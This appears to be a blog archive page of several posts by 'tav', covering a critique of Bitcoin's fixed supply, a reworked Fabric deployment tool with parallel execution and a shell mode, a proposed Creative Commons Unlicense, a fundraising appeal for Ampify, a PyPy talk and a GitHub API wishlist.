For those of you not familiar with Bitcoin, it is often described as a “peer-to-peer currency”. This geeky video is sorta informative:

There are a lot of good reasons to be excited about the design behind Bitcoin — it enables secure transactions in a transparent manner and doesn't require centralised authorities. It really is genius and I look forward to seeing it used in other domains.

However, this does not make Bitcoin a suitable currency system.

Why?

Because, by design, there will never be more than 21 million Bitcoins in existence. And thanks to hoarding and attrition, we can be sure that it will eventually serve as nothing more than as a collector's item.

Bitcoin Hoarding

First, let's take a look at why Bitcoin encourages hoarding. As I write this, the current total of Bitcoins mined so far is just short of 6.5 million:

>>> bitcoin.currentTotal()
6459900

That is, nearly a third of all Bitcoins that could ever exist are already sitting on people's computers. Now let's assume for a moment that Bitcoin really is useful and in the next decade grows to an economy the size of Mexico, i.e. a trillion dollars.

In this context, if you had 50 Bitcoins they would be worth:

>>> (50. / 21000000) * 1000000000000
2380952.3809523806

That is, 50 Bitcoins would be worth over 2 million dollars!! Knowing this, unless you were super desperate, would you really spend those Bitcoins today?

In the early days, when Bitcoin was just a fun experiment, it might have made sense to spend it. But given that people are now willing to accept it as a currency, you would be an idiot not to hoard it.

And, unlike currencies backed by gold or oil, where there is always the chance of someone discovering new gold mines or oil fields, you know for certain that no-one will ever be able to dilute your share of the total Bitcoin.

Now, despite the hoarders, there will still be an initial spike in the demand for Bitcoins due to:

• Non-hoarders experimenting with the system and unwittingly increasing the value of the Bitcoins held by the hoarders.
• Greedy hoarders trying to buy up as much Bitcoins as they can so as to increase the size of their potential future wealth.
• Scammers manipulating the market with trades so as to make a quick buck from greater fools before it all comes crashing down.

Unfortunately it won't last long. For starters, the non-hoarders (the actual spenders) will gradually discover that hoarding is the best strategy for maximising the value of their Bitcoins — causing them to either abandon the system or start hoarding themselves.

It would also become increasingly apparent that the majority are hoarding and that only a fraction of Bitcoins are in actual circulation. At this point, it is effectively game over for Bitcoin as a currency. An economy really can't function if nobody spends any money!!

Since there will be a slow trickle of new users and cautious hoarders gradually dumping some of their Bitcoins, I doubt the Bitcoin economy will come to a total standstill anytime soon. But there is no doubt that the majority of the activity will be driven by speculation.

It should hopefully now be obvious that Bitcoin is simply a store of speculative value. In some ways, it's a lot like publicly traded shares. But it's worse, because at least with most shares you get a share of the underlying corporate assets and profits.

Also, unlike shares, where you can generally expect recurring speculative bubbles, Bitcoin is not impacted in positive ways by underlying conditions, e.g. corporate acquisitions, new share issues, growing profits, etc. Thus the capacity for multiple Bitcoin bubbles is extremely low.

If anything, potential changes in external factors pretty much all lead to a negative impact for Bitcoin speculators, e.g. financial regulation, technological breakthroughs, forked block chains, etc.

Bitcoin Attrition

The effect of hoarding is made worse by the inevitable attrition of the number of available Bitcoins. That is, as time goes by, there will be fewer Bitcoins available in proportion to the total number of Bitcoins.

This happens for a variety of reasons:

• Many users, especially early-adopters, having experimented with Bitcoin and generated some coins, have then just forgotten about it.
• You can't access your Bitcoins unless you have your private keys backed up somewhere. Hundreds of people have failed to backup their wallets and have lost these keys permanently.
• Technical issues in how the client generated keys has led to users losing Bitcoins even when they tried to backup properly, e.g. these two have each lost what would today be worth about $130k and $160k due to technical glitches. Ouch!

If it were possible to determine it, I would be willing to bet that over a sixth of the Bitcoins mined thus far are already not accessible. In our hypothetical scenario above, that would translate to over 50 billion dollars worth that has simply been “lost”.

As time goes by, this figure is only guaranteed to increase. And since we can safely assume that hoarders will be a lot more careful than the experimenters, most of the attrition will likely come from the actual spenders in the economy.

Thus, limiting the actual number of Bitcoins in active circulation even further! I could go on, but I hope the point is relatively clear. Hoarding and attrition make Bitcoin unsuitable as a currency. Now, let's look at some counter-arguments.

What about creating new block chains without the 21 million coin limit?

Yes, you could create new block chains, EuroCoin, ChinaCoin, etc. However, this would be not be fixing the problem with Bitcoin in any way. You would simply be introducing competing alternative systems which may or may not fix the fundamental issue.

What about extending the Bitcoin client to keep on issuing new Bitcoins?

I don't think you could keep on calling this Bitcoin. For starters, it violates what most people understand as Bitcoin — that it is totally decentralised and cannot be controlled by any one party.

By imposing such a fundamental change, you would be violating the core assumptions made by those who have invested in Bitcoins. I doubt most of the anti-gov folk who seem to have taken to Bitcoin would be interested in having such changes dictated to them.

What about using consensus to change the protocol?

This is super easy to say and almost impossible to achieve. How would you achieve this consensus? Would it be majority/mob rule? By lottery? What about those who disagree with the result? Who decides on the process?

I fear that the opportunity to fix this has long since gone. If anything, future decentralised currency designers should take this as a lesson to specify, ahead of time, a process to use in order to make protocol changes.

That way, beneficial changes can be made without violating any implicit assumptions that people might have made.

Conclusion

Bitcoin is not a viable currency. It is a store of speculative value — much like investing in stamps, comic books and vintage shoes. The fixed limit of the number of Bitcoins is subject to attrition and encourages hoarding which will inevitably lead to mainly speculative activity.

Whilst Bitcoin is a perfectly viable speculative instrument, it will be far too volatile to serve as a medium of exchange. I would like to call upon the Bitcoin community to stop referring to it as a digital currency. This is misleading and harmful.

Finally, forgive me if I haven't been clear enough with any of the explanations and do let me know what you think.

— Thanks, tav

by stars6

However, once the complexity of your setup starts to grow, you very quickly start wishing for a cleaner and more powerful API.

And once you are deploying to more than 30 servers, you really wish that Fabric would run commands in parallel instead of doing them sequentially, one after another.

Having recently experienced this pain, I decided to rework the core of Fabric. I've documented it below — describing all the changes to the current Fabric 1.0a — including funky new features like fab shell and staged deployments!

https://github.com/tav/pylibs/tree/master/fabric

from support.module import SomeClass as _SomeClass
from urllib import urlencode as _urlencode, urlopen as _urlopen

def _support_function():
    ...

from urllib import urlopen
from fabric.api import *


def get_latest_commit():
    return urlopen('http://commits.server.com/latest').read()


@task
def check():
    """check if local changes have been committed"""

    local_version = local('git rev-parse HEAD')

    if local_version != get_latest_commit():
        abort("!! Local changes haven't been committed !!")


@task
def deploy():
    """publish the latest version of the app"""

    with cd('/var/app'):
        run('git remote update')
        run('git checkout %s' % get_latest_commit())

    sudo("/etc/init.d/apache2 graceful")

env.config_file = 'deploy.yaml'

def get_latest_commit():
    return urlopen(env.config.commits_server).read()


@task
def deploy():
    with cd(env.config.app_directory):
        ...

from django.fabric import deploy, test

@task
def stats():

    memusage = execute("""

      #! /usr/bin/env python
      import psutil

      pid = open('pidfile').read()
      process = psutil.Process(int(pid))
      print process.get_memory_percent()

    """, 'memusage.py', verbose=False, dir='/var/ampify')

NODE_PATH = "NODE_PATH=$NODE_PATH:%s" % node_libs
run("%s vows" % NODE_PATH)
run("%s coffee -c amp.coffee" % NODE_PATH)

with env.NODE_PATH(node_libs):
    run("vows")
    run("coffee -c amp.coffee")

manager(value, behaviour='append', sep=os.pathsep, reset=False)

print env.NODE_PATH               # NODE_PATH=$NODE_PATH:/opt/ampify/libs/node

with env.PATH('/usr/local/bin'):
    with env.PATH('/home/tav/bin'):
        print env.PATH               # PATH=$PATH:/usr/local/bin:/home/tav/bin
        with env.PATH('/opt/local/bin', 'replace'):
            with env.PATH('/bin', 'prepend'):
                print env.PATH       # PATH=/bin:/opt/local/bin
    print env.PATH                   # PATH=$PATH:/usr/local/bin

with env.PATH('/opt/ampify/bin', 'prepend'):
    with env.PATH('/home/tav/bin', reset=True):
        print env.PATH                              # PATH=$PATH:/home/tav/bin

@hook('config.loaded')
def default_config():

    if 'port' in env.config:
        return

    port = prompt("port number?", default=8080, validate=int)
    env.config.port = port

functions = hook.get('config.loaded')

@hook('deploy.success', 'deploy.failure')
def irc_notify(release_id, info=None):
    client = IrcClient('devbot', 'irc.freenode.net', '#esp')
    if env.hook == 'deploy.success':
        client.msg("Successfully deployed: %s" % release_id)
    else:
        client.msg("Failed deployment: %s" % release_id)


@hook('deploy.success')
def webhook_notify(release_id, info):
    webhook.post({'id': release_id, 'payload': info})


@task
def deploy():
    release_id = get_release_id()
    try:
        ...
        info = get_release_info()
    except Exception:
        hook.call('deploy.failure', release_id)
    else:
        hook.call('deploy.success', release_id, info)

$ fab deploy --disable-hooks 'config.loaded deploy.*'

$ fab deploy --disable-hooks 'deploy.*' --enable-hooks 'deploy.success'

@task
def restart():
    run("amp restart", dir='/opt/ampify')

@task
def backup():
    run("backup.rb {app_directory} {s3_key}", format=True)

@task
def backup():
    command = "backup.rb {app_directory} {s3_key}".format(**env)
    run(command)

env.format = True

@task
def backup():
    run("backup.rb {app_directory} {s3_key}")

def purge_caches():
    run('./purge-redis-cache', dir=env.redis_directory)
    run('./purge-varnish-cache', dir=env.varnish_directory)


@task
def deploy():
    env('app-servers').run('./manage.py set-read-only {app_directory}')
    env('db-servers').run('./upgrade.py {db_name}')
    env('cache-servers').run(purge_caches)
    env('app-servers').run('./manage.py restart {app_directory}')

$ fab deploy

$ fab run_tests freeze_requirements update_repository create_snapshot update_virtualenv update_media update_nginx graceful_migrate

env('app-servers', 'db-servers')

env('app-servers').run('./manage.py upgrade {app_directory}')

ctx = ('app-servers',)
responses = []

for cfg in env.get_settings(ctx):
    with settings(ctx=ctx, **cfg):
        response = run('./manage.py upgrade {app_directory}')
        responses.append(response)

return responses

[{'host_string': 'amp@appsrv21.espians.com', 'host': 'appsrv21.espians.com',
  'app_directory': '/opt/ampify'},
 {'host_string': 'admin@appsrv23.espians.com', 'host': 'appsrv23.espians.com',
  'app_directory': '/var/ampify', 'shell': '/bin/tcsh -c'}]

from fabric.network import host_regex


def get_settings(contexts):
    return [{
        'host_string': context,
        'host': host_regex.match(context).groupdict()['host']
        } for context in contexts]


env.get_settings = get_settings

env('dev2.ampify.it', 'dev6.ampify.it')

responses = env('app-servers').sudo('make install')
for response in responses:
    ...

responses = env('app-servers').run(some_func, warn_only=True)
if succeeded(responses):
    ...

responses = env('app-servers').multirun('make build')
for response, host in responses.ziphost():
    ...

@task
def build():
    env('build-servers').select(3).run('{build_command}')

from itertools import groupby
from random import sample


def selector(settings):
    settings = sorted(settings, key=lambda s: s['platform'])
    grouped = groupby(settings, lambda s: s['platform'])
    return [sample(list(group), 2) for platform, group in grouped]


@task
def build():
    env('build-servers').select(selector).run('{build_command}')

@task
def deploy():
    responses = env('app-servers').multirun('make build')
    if failed(responses):
        ...

[multirun] Running 'make build test' on 31 hosts
[multirun] Finished on dev2.ampify.it
[multirun] Finished on dev7.ampify.it
[multirun] 2/31 completed ...

responses = env('app-servers').multirun(
    'make build', laggards_timeout=20, wait_for=0.8
    )

env.format = True


def migrate_db():
    run('./manage.py schemamigration --auto {app_name}')
    run('./manage.py migrate {app_name}')


@task
def deploy():
    env('frontends').multirun('routing --disable')
    env('app-nodes').multirun(migrate_db)
    env('frontends').multirun('routing --enable')


@task
def migrate():
    env('app-nodes').multirun(migrate_db)

env.format = True

@task
def db_backup():
    env('db-servers').multilocal('backup.rb {host}')

env.multirun_pool_size = 200

env.multirun_child_timeout = 24

@task('app-servers')
def single():
    print env.ctx


@task('app-servers', 'db-servers')
def multiple():
    print env.ctx

$ fab single
('app-servers',)

$ fab multiple
('app-servers', 'db-servers')

@task('app-servers')
def deploy():

    env().run('./manage.py set-read-only {app_directory}')
    env('db-servers').run('./upgrade.py {db_name}')
    env().run('./manage.py restart {app_directory}')

$ fab deploy @serv21.espians.com

$ fab build @bld4.espians.com deploy @serv21.espians.com @serv22.espians.com

Fabric Shell

Sometimes you just want to run a bunch of commands on a number of different servers. So I've added a funky new feature — Fabric shell mode:

Once you are in the shell, all of your commands will be sequentially run() on the respective hosts for your calling context. You can also use the .shell-command syntax to call shell builtin commands — including your own custom ones!

You start shells from within your Fabric commands by invoking the .shell() method of a context runner. Here's sample code to enable fab shell:

@task('app-servers')
def shell():
    """start a shell within the current context"""

    env().shell(format=True)

The above defaults to the app-servers context when you run fab shell, but you can always override the context from the command line, e.g.

$ fab shell @db-servers

And if your Python has been compiled with readline support, then you can also leverage the tab-completion support that I've added:

• Terms starting with { auto-complete on the properties within the env object to make it easy for you to use the string formatting support.
• Terms starting with . auto-complete on the available shell builtin commands.
• All other terms auto-complete on the list of available executables on your local machine's $PATH.

Other readline features have been enabled too, e.g. command history with up/down arrows, ^r search and even cross-session history. You can configure where the history is saved by setting env.shell_history_file which defaults to:

env.shell_history_file = '~/.fab-shell-history'

>> .multilocal backup.rb {host_string}

local("backup.rb {host_string}")

@shell
def python_version(spec, arg):
    with hide('running', 'output'):
        version = run('./get-py-version')
    puts("python %s" % version)

>> .python-version
[dev1.ampify.it] python 2.5.2
[dev3.ampify.it] python 2.7.0

@shell('hello', single=True)
def demo(spec, arg):
    print "Hello", arg.upper()

>> .hello tav
Hello TAV

@shell
def backup(spec, arg):
    env().multirun(...)

$ fab
Usage: fab [options] <command>[:arg1,arg2=val2,host=foo,hosts='h1;h2',...] ...

Options:
  -h, --help            show this help message and exit
  -V, --version         show program's version number and exit
  -l, --list            print list of possible commands and exit
  --shortlist           print non-verbose list of possible commands and exit
  -d COMMAND, --display=COMMAND
                        print detailed info about a given command and exit
...

$ fab
Available commands:

    check    check if local changes have been committed
    deploy   publish the latest version of the app

@task(display=None)
def armageddon():
    ...

$ fab production deploy

env.stages = ['staging', 'production']

@task(display=None)
def production():
    puts("env.stage = production", prefix='system')
    env.stage = 'production'
    config_file = env.config_file
    if config_file:
        if not isinstance(config_file, basestring):
            config_file = '%s.yaml'
        try:
            env.config_file = config_file % stage
        except TypeError:
            env.config_file = config_file

$ fab production check deploy
[system] env.stage = production
...

$ fab check deploy
[system] env.stage = staging
...

$ fab
Available commands:

    check    check if local changes have been committed
    deploy   publish the latest version of the app

Available environments:

    staging
    production

$ FAB_STAGES=development,production fab deploy
[system] env.stage = development
...

env.config_file = True

env.config_file = 'etc/ampify/%s.yaml'

>>> env.get_settings(('admin@dev1.ampify.it', 'dev3.ampify.it:2222'))
[{'host': 'dev1.ampify.it',
  'host_string': 'admin@dev1.ampify.it',
  'port': '22',
  'user': 'admin'},
 {'host': 'dev3.ampify.it',
  'host_string': 'dev3.ampify.it',
  'port': '2222',
  'user': 'tav'}]

default:
  shell: /bin/bash -l -c

app-servers:
  directory: /var/ampify
  hosts:
    - dev1.ampify.it:
        debug: on
    - dev2.ampify.it
    - dev3.ampify.it:
        directory: /opt/ampify
    - dev4.ampify.it

build-servers:
  cmd: make build
  directory: /var/ampify/build
  hosts:
    - build@dev5.ampify.it
    - dev6.ampify.it:
        user: tav
    - dev7.ampify.it

hostinfo:
  dev*.ampify.it:
    user: dev
    debug: off
  dev3.ampify.it:
    shell: /bin/tcsh -c
  dev7.ampify.it:
    user: admin

from fabric.api import *

@task
def deploy_ampify():
    """deploy the current version of ampify"""
    ...

$ fab
Available commands:

    deploy-ampify  deploy the current version of ampify

$ fab deploy-ampify

env.config_file = 'deploy.yaml'
env.debug = False

$ fab <commands> +config_file:alt.yaml

$ fab <commands> +debug

Colors Support

You can enable the optional colors support by setting env.colors, i.e.

env.colors = True

Here's a screenshot of it in action:

You can customise the colors by modifying the env.color_settings property. By default it is set to:

env.color_settings = {
    'abort': yellow,
    'error': yellow,
    'finish': cyan,
    'host_prefix': green,
    'prefix': red,
    'prompt': blue,
    'task': red,
    'warn': yellow
    }

You can find the color functions in the fabric.colors module.

@task
def db_migrate():
    puts(
      "[%s] [database] migrating schemas for %s" %
      (env.host_string, env.db_name)
      )

env.format = True

@task
def db_migrate():
    puts("migrating schemas for {db_name}", 'database')

$ fab db-migrate
[somehost.com] [database] migrating schemas for ampify

@task
def db_migrate():
    puts("migrating schemas for {db_name}", 'database', show_host=False)

$ fab db-migrate
[database] migrating schemas for ampify

_fab_completion() {
    COMPREPLY=( $( \
    COMP_LINE=$COMP_LINE  COMP_POINT=$COMP_POINT \
    COMP_WORDS="${COMP_WORDS[*]}"  COMP_CWORD=$COMP_CWORD \
    OPTPARSE_AUTO_COMPLETE=1 $1 ) )
}

complete -o default -F _fab_completion fab

$ fab --dis<tab>
--disable-known-hosts    --disable-hooks    --display

env.autocomplete = ['+config_file:', '+debug', '@db-servers']

$ fab +<tab>
+config_file:    +debug

$ git clone git://github.com/tav/pylibs.git

$ cd pylibs

$ python setup.py

$ export PYTHONPATH=$PYTHONPATH:`pwd`

#! /usr/bin/env python

from fabric.main import main

main()

$ chmod +x fab

by Al Jazeera

If anything, stories like Egypt are well-suited given that:

• It's historic! Just look at the picture to the right! If something truly momentous is happening, then I'd like to see discussion about it on HN — it tends to be well-informed.
• The Hacker News Guidelines explicitly allows for political stories that demonstrate “evidence of some interesting new phenomenon”.
• It's arguably more worthy of discussion than the majority of the Techcrunch posts that we see on HN.
• It's an entrepreneurial opportunity! With a GDP of nearly $500bn, Egypt just became a lot more attractive for innovative startups.

The occasional non-tech/startup post doesn't mean that Hacker News is going to the shits. We are not in danger of becoming Reddit 2.0 anytime soon either. So, please, can we reserve the comments about off-topic posts to the kind of posts that truly are off-topic?

— Cheers, tav

• Minimise clutter and improve the reader experience.
• Give the site more of an identity.

Here's what it used to look like:

And here's what it looks like now:

I was hoping to leverage existing templates and designs, but after spending a while looking around, I found most of the work to be heavy and visually unappealing. People seem to love their widgets.

The one exception to this was Vincent Driessen's site. I found his minimalist aesthetics very appealing and took several cues from it — including lifting his code block container style. His content is great too, so give him a visit.

And, finally, compare the cluttered footer from before:

With the new layout:

I hope you find the new design an improvement. Do let me know what you think in the comments — thanks!

I posted the following to the Unlicense Google Group earlier today and figured that some of you might be interested in the proposed Creative Commons Unlicense.

Hi Arto, Mike et al.

First of all, congrats for coming up with the term “Unlicense”. It's

genius! As someone who has been placing all of his work into the

public domain for most of the last decade, I am very thankful that

there is finally a concrete movement emerging around unlicensing.

Now, if it's okay with you, I'd like to share my journey into the

world of public domain and gradually build up to a proposal of a

“Creative Commons Unlicense”.

Reflections of a Public Domain Advocate

They got me before I'd even hit puberty. The UK Intellectual Property

Office that is. At school they handed out leaflets on Copyright,

Trademarks and Patents. I was mesmerised. Having already written 2

books on music and working on various inventions, it was truly

empowering to know that the law would protect my rights as a creator.

Being able to dictate how your work is used. Being able to make money

from the royalties generated by your work. Being able to prevent

others from abusing your work for their own profit. It made perfect

sense. It appealed to that primal desire for being in control.

I was so in love with intellectual property that even my school notes

had a copyright statement at the bottom of each page. This continued

all the way till I was 17 when I started my first company. Being a

tech startup in 1999, it wasn't too long before an inevitable

encounter with the open source movement.

As you can imagine, this was quite an experience. In fact, it's really

nice to see some familiar faces from those times on this list: Mike

Linksvayer (from Bitzi days) and Peter Saint-Andre (from the early

Jabber days).

It took a few months, but by the time 2000 began, I was convinced of

the merits of open source. The copyleft nature of the GPL assuaged my

fears of having my work exploited by others. And the success of

projects like Linux and companies like VA Linux Systems served as

tangible proof that sharing worked.

And so I became one of those annoying free software fanatics. I am

sorry to say that I wasted countless hours arguing on various internet

forums about the merits of the GPL versus other licenses. But, on the

flip side, I did acquire various proprietary initiatives and release

them as free software.

In any case, it was an uphill struggle convincing investors of the

merits of open source. It simply did not make sense to them. Many

refused to invest for that reason alone. And, all the while, I kept to

my belief that a billion-dollar industry was possible by enabling

creators to make money from sharing their works openly.

And then finally, in either late 2001 or early 2002, one of my

friends, Tavin Cole, decided to spend an entire day of his life

questioning my stance on the GPL. To this day I am extremely grateful

for his effort — he enlightened me on the merits of the public domain.

In essence, his argument revolved around the fact that copyleft is

merely an act of control and true freedom would be to enable people to

do whatever they pleased with your work. He correctly identified fear

as being a prime motivator behind my love affair with the GPL and that

life would be a lot more pleasant without being gripped by it.

With my belief in the GPL shaken, I started experimenting with the

public domain. Python hackers seemed to public domain their work with

a single line, so I adopted a similar practice and added a minimal

header of the format:

# Released into the Public Domain by tav <tav@espians.com>

This worked out quite well until 2004 when I moved to Berlin for a

year. Here I came across various German hackers who argued that it was

impossible to place works into the public domain due to the

consideration of moral rights under German law.

I experimented with various structures to try and resolve this issue,

e.g. contracts between the individuals and a company based in the UK

which would then release the intellectual property into the public

domain, etc. But nothing was really satisfactory until Creative

Commons released the CC0 license.

It cleverly combined the public domain dedication with a fallback

public license for jurisdictions where one can't fully public domain

one's work. Not understanding why CC0 can't be used for code, I

adopted the license with enthusiasm and remixed it with a grant of

patent rights to create a Public Domain License which I've been using

for all my work — writing, code, designs, etc.

Creative Commons Unlicense

As you can imagine, it sounded silly to be public domain-ing work

under the Public Domain License — but it seemed good enough.

However, once I heard about “Unlicense”, I was smitten by its

awesomeness and have already migrated a few projects, e.g.

* https://github.com/tav/ampify

* https://github.com/tav/git-review

Now, whilst I've adopted the term wholesale, the text on unlicense.org

doesn't address a number of concerns:

* It is limited to just code. Software projects also tend to have

documentation, schemas, graphics, etc. It would be nice if the

unlicense covered all of these.

* It doesn't address moral rights in any way.

* It doesn't address patent rights in any way. This becomes even more

relevant when you're receiving patches from organisations who might

hold relevant patents.

* It doesn't provide advice on how to refer to the unlicense within

individual files. I've taken to having the following minimal header

instead of copying the entire text into every file:

# Public Domain (-) 2010-2011 The Ampify Authors.
# See the Ampify UNLICENSE file for details.

* It doesn't address third party code. Putting an UNLICENSE file in

the root of the repository without such consideration suggests that

all the code files are in the public domain — which may not be true.

In an ideal world, we'd all come together and build on CC0 and the

Unlicense to create a Creative Commons Unlicense which addresses all

of these concerns. I am not sure if this would be of interest to

anyone else, but it is of interest to me.

I've had a go at remixing the various texts into a new Unlicense:

* http://ampify.it/unlicense.html

Here is the raw text, including the accompanying authors file:

* https://github.com/tav/ampify/blob/master/UNLICENSE

* https://github.com/tav/ampify/blob/master/AUTHORS

Now I am not a lawyer and the text needs work, but I hope it's a good

starting point — or, at the very least, provides some idea of what I'm

getting at.

Is this of interest to any of you? Could we come together to manifest

a Creative Commons Unlicense?

Please do let me know what you think.

—

Cheers, tav

I'm looking to raise £6,000 to support myself and a few others for the next 3 months so that we can launch a whole new socio-economic-technological infrastructure.

Any contribution you can make — £60, £300 or even £1,000 — will be greatly appreciated and rewarded. Thank you!

• Support my work with a PayPal contribution!

The Supporters So Far:

Robert de Souza	£300
archels	£1
Lauri Love	£50
Alex Rollin	£20
Josef Davies-Coates	£20
mattcoop	£14
Benjamin Degenhart	£10
Michael Kedzierski	£30
Charles Goodier	£100
Chris Greiner	£20
Tim Lossen	£100
Thamilarasi Sivapathasundaram	£100
pgchamberlin	£10
John McCane-Whitney	£250
Still Needed	£4,975

My Work:

The core of my work is about creating Ampify — an open source, decentralised application platform. I've been working on this for over 10 years and, as proof, you can see:

• The web archive for Espra — an early attempt in 2000-2001 [link]
• The first public discussion with others about the idea — September 11th 2001 [link]
• The web archive for Plex — another attempt in 2001-2002 [link]

A key aspect of Ampify is Trust Maps — a way of specifying who you trust and in what context. This will be used to help overcome information overload and here's a prototype that was used to explore the idea:

And, here's another prototype that filters and searches Twitter streams according to an individual's Trust Map:

Ampify will also support Pecus — which is intended as a foundation for a reputation economy. It'll enable those who share their works to be properly rewarded, e.g. open source developers, musicians, blog authors, youtube content creators, etc.

This will be complemented by Amp Creds — a global reference currency backed by Processing, Storage and Transfer — that will hopefully enable a more stable economy than the boom-and-bust cycles of the present one.

Ampify will also enable a new form of decentralised collaboration through the use of the Confluence model. Here's a MediaWiki-based prototype that tested some of this idea [source code]:

It's taken a lot of iterations and failures to figure out what works and what doesn't — and I'm confident about having a working version of Ampify by October. There's already the start of some documentation and you can watch the GitHub repository to follow the open development.

And, finally, your support will also enable my other various open source contributions and help put on events like Social Startup Labs — which helps tackle the issue of jobs creation by helping local communities identify the needs and opportunities for Social Businesses:

Do drop by and say hello on IRC chat if you're interested in any of this work:

server: irc.freenode.net
channel: #esp
chatlogs: irclogs.ampify.it

I believe my work adds real value and, with your support, I can get it to a stage where it could make a really positive impact:

• Support my work with a PayPal contribution!

Thank you.

PyPy is famous as an alternative Python implementation. But it is also an impressive toolchain for creating your own programming languages — you get features like garbage collection, JIT and even WebKit integration for free.

Unfortunately, despite the toolchain being the bulk of the PyPy code, it's not given much love. So, in an effort to convince fellow hackers to use PyPy, I'll be giving a talk at the Emerging Languages Camp at OSCON — see below for the abstract.

I'd also like to help bring more understanding of the toolchain to the wider hacker world and am considering writing a series of tutorials on this blog. Unfortunately, I'm also a lazy bastard and don't want to waste time if no-one is interested ;p

So this is your chance — let me know in either the comments below or on HN/Reddit, if you'd be interested in such blog posts. Thanks!

Create Your Own Programming Language in 20 Minutes using PyPy

Creating your own dynamic language can be a messy, painful affair. Instead of focusing on the features that make your language unique, you have to waste a lot of time dealing with secondary issues like cross-platform support, garbage collection and just-in-time compilation.

The PyPy Translation Toolchain — which has already been successfully used to build alternative Python and Scheme interpreters — can save you from all of this hassle. This talk will show how easy it can be to create your own language by taking advantage of the benefits that PyPy offers:

• JIT — thanks to the state-of-the-art just-in-time compilation, your language could be dynamic and still be competitive with lower-level languages in terms of speed.
• Garbage collection — select from the half dozen already implemented and tested strategies for use by your language.
• Sandboxing capability — secure your interpreter so that untrusted code can be safely run on all platforms, whether it be a browser or an App Engine like service.
• Unicode — your language can be fully unicode-aware and you don't even have to know how case folding works in different locales.
• Stackless transformation — easily add support for your language to be massively concurrent.
• Cross-platform — have your interpreter run on a number of different backends, whether it be native or on top of the CLI (.NET/Mono) or the JVM (Java).
• WebKit bridge — create browsers which can natively load scripts in your language via script tags and even access the DOM, just like JavaScript!

I love GitHub. They make it fun and easy to get involved with open source projects!

By recognising coding as a social endeavour, they've possibly even changed the very nature of open source development.

But as great as they are, there's not much of a “GitHub ecosystem”. In comparison to say Twitter apps, the number of GitHub apps are few and far between.

Wouldn't it be great if we could build our own apps like wikis on top of GitHub repositories?

Perhaps someone would create a peer-to-peer publishing platform or perhaps a web app which stores plain text data in public repos instead of in opaque databases?

I believe GitHub has the potential to become a truly awesome platform. They already have a decent API — imagine what would be possible if it supported the following features:

• API to Update The Repository via HTTP

  Back in 2008, I managed to get my girlfriend to use GitHub. The poor girl heroically struggled through with Git on the command line before eventually giving up after a few months.

  The fact is, most people are more comfortable using web apps than with command line tools. It'd be awesome to let them benefit from Git without having to expose them to the command line.

  It'd also be nice for developers if GitHub exposed functionality to modify files in a repository over HTTP instead of having to resort to libraries like grit and dulwich. This would make it much easier to develop web apps leveraging Git.

  GitHub already has support for editing files from the web browser by POST-ing to /:user/:repo/tree-save/:branch/:path — it'd be cool if they could just expose this via an API:

  /tree/save/:user/:repo/:branch/:path
  

  This should take 6 parameters and return the new commit ID:

  parents    =>   The IDs of the parent commits [optional]
  data       =>   The updated content for the specified path
  mode       =>   The new mode for the blob [defaults to 100644]
  message    =>   The commit message
  committer  =>   The committer [defaults to the authenticated user]
  author     =>   The commit author [defaults to the committer]
  

  There should be a complementary API for deleting files:

  /tree/remove/:user/:repo/:branch/:path
  

  And, most importantly, an API for creating new files with the same parameters as /tree/save:

  /tree/add/:user/:repo/:branch/:path
  

  It would be nice to have a utility API call for renaming files too:

  /tree/rename/:user/:repo/:branch/:path
  

  Which would only have to specify 5 parameters:

  parent     =>   The ID of the parent commit [optional]
  new_path   =>   The new path for the blob at :path
  message    =>   The commit message
  committer  =>   The committer [defaults to the authenticated user]
  author     =>   The commit author [defaults to the committer]
  

  All the above API calls should result in the :branch ref being updated to point to the new commit ID and create a new ref where the branch didn't previously exist.

• API to Access Compare Views

  GitHub has wicked support for doing code reviews via what they call compare views. This feature allows one to see the commits, diffs and comments between any 2 refs. You have to see it in action to realise how awesome this is:

  http://github.com/jquery/jquery/compare/omgrequire

  Unfortunately, this feature is not exposed via the API in any way. It would be very cool to be able to access it:

  /compare/:user/:repo/[:startRef...]:endRef
  

  That should return the commits, diffs and comments for the commit range. That is, everything necessary to recreate the GitHub compare view.

• API to Manage Service Hooks

  GitHub already supports extension via post-receive hooks. This allows you to register URLs as web hooks for any repository. GitHub will POST to these URLs with JSON data whenever someone does a git push to the repository.

  It makes it very easy to do things in response to changes to your repositories. I've already found it very useful for everything from triggering build slaves to notifying IRC channels via gitbot.py — which in turn even triggers regeneration of this blog!

  Unfortunately it's a real pain to get users to edit their service hooks. It'd be great if applications could do this on a user's behalf. The API could be extended to list all service hooks:

  /repos/hooks/:user/:repo
  

  It should be very easy to add and remove hooks:

  /repos/hooks/:user/:repo/add
  /repos/hooks/:user/:repo/remove
  

  Which would take a single POST-ed parameter:

  url   =>   The post-receive URL
  

  This tiny feature would make it a lot more attractive for application developers as it would make building apps integrated with GitHub very easy!!

• A Way to Pay for API Use

  GitHub currently specifies API limits of 60 requests per minute. This works out as a generous 86,400 requests/day per user. But as an application developer I'd rather not be limited. In fact, seeing as GitHub already has my billing details, I'd be quite happy to pay something like $20 per million requests — which should more than cover the bandwidth costs.

  I'm quite confident that interesting applications could be built using the API which would lead to productivity increases which would more than make up for the cost. To facilitate this, billing would need to be enabled and the authentication extended with:

  api_key     =>   The API key for the developer
  signature   =>   The signature for the API request
  

  The signature would be derived by HMAC-ing the request parameters with a shared api_secret_key corresponding to the api_key. This would be used to bypass limits and bill for the API requests whereas the existing login and token parameters would be used for the authentication.

Given GitHub's impressive infrastructure and talent, it should be relatively easy for them to add these 4 small features. But like any group of hackers, they need to be convinced that it'd be worthwhile adding these features.

Perhaps you could ask them for these features? Perhaps you could leave a comment with what kind of awesome apps you would create with these features in place? Or perhaps just follow me on GitHub: github.com/tav.

In any case, let me know what you think. Thanks!

I've started a Twitter List of those in the community working on the Go language, libraries, apps or articles:

• http://twitter.com/tav/golang

You should follow it to keep track of the fast-moving developments and let me know — either in the comments or via @tav — if I should add you to the list.

And, oh, could we all please normalise on using the #golang hashtag please? The #go hashtag is used for too many other things — including that game that some of us love.

I've also started to maintain a Git mirror of the Go repository on GitHub. You should watch it to stay informed of changes to the Go language.

Now, as I explain in the getting started with git article, I consider Git and Mercurial to be pretty equivalent. The only reason I prefer Git is due to the wonderful service that is GitHub.

Not only does it offer a far better social experience, but it's interface is much better than what Google Code or bitbucket currently offer. Now, to get started with using the Git mirror, just do:

$ git clone git://github.com/tav/go.git

You can then follow the normal installation instructions to set the environment variables and then run ./all.bash inside $GOROOT/src.

Note that by default, the master branch will be checked out — if you'd rather not be on the cutting edge, then check out the release tag using:

$ git checkout release

